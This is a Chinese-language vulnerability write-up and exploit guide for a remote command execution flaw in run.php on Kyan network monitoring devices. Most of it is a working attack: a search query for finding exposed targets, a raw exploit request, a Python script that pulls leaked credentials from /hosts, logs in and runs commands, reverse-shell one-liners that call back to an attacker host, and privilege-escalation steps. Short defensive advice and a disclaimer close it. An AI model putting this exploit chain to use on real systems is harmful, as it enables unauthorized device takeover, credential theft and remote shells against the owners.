Kyan网络监控 run.php 远程命令执行
字数 824
更新时间 2025-08-14 03:16:49
Kyan网络监控设备run.php远程命令执行漏洞分析与利用
漏洞概述
Kyan网络监控设备存在一个严重的远程命令执行漏洞,攻击者可以通过run.php文件在登录后执行任意系统命令。该漏洞属于高危漏洞,可导致攻击者完全控制目标设备。
影响版本
- Kyan网络监控设备(具体版本未明确,但基于发布时间推测为2021年及之前的版本)
漏洞原理
漏洞位于run.php文件中,关键代码如下:
<?php @$output = system(trim($_POST['command']));
该代码直接接收用户通过POST请求提交的command参数,未经任何过滤或验证就传递给system()函数执行,导致任意命令执行漏洞。
漏洞发现
指纹识别
可通过以下Fofa搜索语法识别潜在目标:
title="platform - Login" && country="CN"
前置条件
利用此漏洞前,需要先获取有效的登录凭证。可通过以下方式之一:
- 利用Kyan网络监控设备的敏感信息泄露漏洞获取账号密码
- 通过其他方式获取有效凭证
漏洞利用
手动利用
- 首先登录系统获取有效的PHPSESSID
- 构造以下HTTP请求:
POST /run.php HTTP/1.1
Host: [目标IP]
Cookie: PHPSESSID=9ectb9cf83pfb5m77q4is3u513; [其他cookie]
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
[其他头部信息]
command=id&textarea=apache
自动化利用脚本
提供Python自动化利用脚本:
#!/usr/bin/env python
# -*- conding:utf-8 -*-
import argparse
import requests
import sys
import urllib3
urllib3.disable_warnings()
import re
from bs4 import BeautifulSoup
def title():
print("""
Kyan网络监控 run.php 远程命令执行
use: python3 KyanrunphpRCE.py
Author: Henry4E36
""")
class information(object):
def __init__(self,args):
self.args = args
self.url = args.url
self.file = args.file
def target_url(self):
target_url = self.url + "/hosts"
login_url = self.url + "/login.php"
rce_url = self.url + "/run.php"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
res = requests.get(url=target_url, headers=headers, verify=False, timeout=5)
if "UserName" in res.text and res.status_code == 200:
print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在敏感信息泄漏!")
print(f"[-] 账号密码为: \n{res.text}")
pattern1 = re.compile(r"UserName=(.*)")
pattern2 = re.compile(r"Password=(.*)")
Username = pattern1.findall(res.text)[0]
Password = pattern2.findall(res.text)[0]
try:
data = f"""user={Username}&passwd={Password}"""
s = requests.Session()
res1 = s.post(url=login_url,headers=headers,data=data,verify=False,timeout=5)
if res1.status_code == 200 and "设备管理系统" in res1.text:
try:
res2 = s.get(url=rce_url,headers=headers,verify=False,timeout=5)
if res2.status_code == 200 and "Shell Execute" in res2.text:
try:
command = """command=id"""
res3 = s.post(url=rce_url,headers=headers,data=command,verify=False,timeout=5)
if res3.status_code == 200 and "uid" in res3.text:
soup = BeautifulSoup(res3.text,"lxml")
result = soup.find_all("textarea",attrs={"name": "textarea"})[0].string.strip()
print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在远程命令执行!")
print(f"\033[31m[{chr(8730)}] 执行\"id\"结果为:{result}\033[0m")
except Exception as e:
print(f"[\033[31mx]\033[0m 目标系统: {self.url} 尝试命令执行错误!")
except Exception as e:
print(f"[\033[31mx]\033[0m 目标系统: {self.url} 尝试访问run.php失败!")
except Exception as e:
print(f"[\033[31mx]\033[0m 目标系统: {self.url} 尝试登录错误!")
except Exception as e:
print("[\033[31mx\033[0m] 站点连接错误!")
if __name__ == "__main__":
title()
parser = argparse.ArgumentParser(description="Kyan网络监控 run.php 远程命令执行")
parser.add_argument("-u", "--url", type=str, metavar="url", help="Target url eg:\"http://127.0.0.1\"")
parser.add_argument("-f", "--file", metavar="file", help="Targets in file eg:\"ip.txt\"")
args = parser.parse_args()
if len(sys.argv) != 3:
print("[-] 参数错误!\neg1:>>>python3 KyanrunphpRCE.py -u http://127.0.0.1\neg2:>>>python3 KyanrunphpRCE.py -f ip.txt")
elif args.url:
information(args).target_url()
elif args.file:
information(args).file_url()
攻击进阶
获取交互式Shell
-
正向Shell监听:
# 攻击机监听 nc -lvvp [port] # 靶机连接 nc -e /bin/bash [攻击机IP] [port] -
反向Shell监听:
# 攻击机监听 nc -lvvp [port] # 靶机连接 bash -i >& /dev/tcp/[攻击机IP]/[port] 0>&1 -
使用Bash版反向Shell:
bash -i >& /dev/tcp/[攻击机IP]/[port] 0>&1
权限提升
-
查看当前用户权限:
id sudo -l -
尝试切换到root用户:
sudo su -注意:
sudo su -:用户和环境都切换到rootsudo su:仅用户切换到root,环境仍是普通用户环境
-
查看内核版本寻找本地提权漏洞:
uname -a cat /etc/issue
防御措施
-
临时解决方案:
- 删除或重命名
run.php文件 - 限制
run.php的访问权限
- 删除或重命名
-
长期解决方案:
- 更新到最新版本
- 对用户输入进行严格过滤和验证
- 使用白名单机制限制可执行的命令
- 最小权限原则运行Web服务
-
监控与检测:
- 监控
run.php的访问日志 - 部署WAF规则拦截可疑请求
- 监控
法律声明
本技术文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担因滥用此信息而导致的法律责任。
相似文章
相似文章